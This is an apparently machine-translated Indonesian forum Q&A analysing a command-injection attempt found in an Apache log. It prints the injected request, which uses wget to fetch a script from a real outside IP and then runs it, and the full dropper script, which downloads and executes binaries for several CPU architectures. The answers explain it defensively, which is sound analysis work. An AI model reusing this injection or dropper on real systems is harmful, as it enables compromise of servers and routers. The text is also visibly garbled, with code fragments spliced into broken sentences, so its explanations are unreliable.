Saya telah memperhatikan pada log apache server saya, baris aneh berikut belakangan ini:
156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 0 "-" "LMAO/2.0"
Jadi saya membuat filter Fail2Ban khusus dan mulai melarang IP yang meminta URL /login.cgi ini.
Tapi saya penasaran dengan apa yang mereka coba lakukan, jadi saya menarik skrip yang mereka coba jalankan dan sepertinya saya tidak tahu apa sebenarnya yang dilakukannya. Sesuatu tentang menghapus folder lengkung di / var dan / tmp?
Bagaimanapun, ini dia:
#!/bin/sh
u="asgknskjdgn"
bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"
http_server="80.211.173.159"
http_port=80
cd /tmp/||cd /var/
for name in $bin_names
do
rm -rf $u
cp $SHELL $u
chmod 777 $u
>$u
wget http://$http_server:$http_port/$name -O -> $u
./$u $name
done
hxxp://80.211.173.159:80/$name
tempat$name
masing-masing arsitektur CPUbin_names
. Jadi 7 skrip serangan akan diunduh dan dieksekusiJawaban:
Baris demi baris:
Menetapkan
sh
cangkang, yang mana pun itu, sebagai garis shebang.sh%20/tmp/ks
dalam permintaan menimpa ini, jadi baris ini diperlakukan sebagai komentar normal dan diabaikan.Menyatakan nama yang sewenang-wenang, mungkin untuk menghindari bertabrakan dengan nama file lain. Saya tidak yakin mengapa mereka tidak hanya menggunakan
mktemp
, tapi mungkin itu tidak tersedia di semua platform.Menghitung beberapa arsitektur CPU umum.
Server yang memiliki exploit.
Mencoba mengubah direktori ke suatu tempat server web Anda kemungkinan dapat membuat file. Saya percaya SELinux akan membantu dengan ini, dengan memberlakukan aturan yang lebih ketat tentang apa yang dapat dilakukan server web daripada sistem file sendiri.
Untuk setiap arsitektur CPU ...
Menghapus program eksploit yang sebelumnya dicoba. Tidak perlu karena baris berikutnya, jadi bisa diabaikan.
Salinan shell saat ini dapat dieksekusi (
/bin/sh
). Dapat diabaikan karena garis setelah selanjutnya.Membuat setiap orang memiliki akses penuh ke file baru. Ini seharusnya setelah
wget
perintah, yang merupakan tanda dari shell scripting newbie atau teknik penyesatan.Mengosongkan file. Tidak ada gunanya karena baris berikutnya.
Timpa file dengan skrip exploit untuk arsitektur ini.
-O -> $u
bisa ditulis-O - > $u
(tanda hubung menunjukkan bahwa unduhan harus ditulis dengan output standar) yang setara dengan-O $u
.Menjalankan skrip exploit dengan arsitektur sebagai argumen pertama.
Mengakhiri loop.
Sepertinya ini adalah skrip percobaan exploit sepele, mencoba eksploit yang diketahui terhadap berbagai platform CPU. Saya tidak tahu mengapa itu menimpa
$u
tiga kali, tetapi operasi itu bisa saja tetap dari iterasi skrip sebelumnya. Agaknya versi sebelumnya memiliki eksploitasi hard coded daripada dilayani secara dinamis - yang pertama lebih mudah tetapi hampir menjamin bahwa script akan kurang efektif seiring waktu karena bug ditambal.sumber
->
diwget
perintah lakukan? Kenapa tidak adilwget ... -O $u
?- >
-O->filename
,filename
tidak muncul dalam output ps ax . Itu bisa menjadi keuntungan untuk membuat debugging lebih sulit.cp
memberikan file executable. Mungkin bermanfaat jikachmod
gagal? Sunting: mengingat bahwa tampaknya ini menargetkan router, sangat mungkin ituchmod
tidak ada.Ini
wget
adalah garis berbahaya utama.Ini
for name in $bin_names
bekerja melalui daftar platform dan untuk setiap platform membersihkan direktori sementara, menyalin shell dan membuatnya dapat diakses oleh semua orang.Kemudian mengunduh file menggunakan
wget
dan kemudian mengeksekusinya menggunakan program shell yang baru saja disalin.Skrip ini pada dasarnya mencoba mengunduh serangkaian executable atau skrip untuk setiap platform yang ada dan menggosoknya ke sistem Anda dengan harapan dapat membahayakan sistem Anda lebih lanjut.
sumber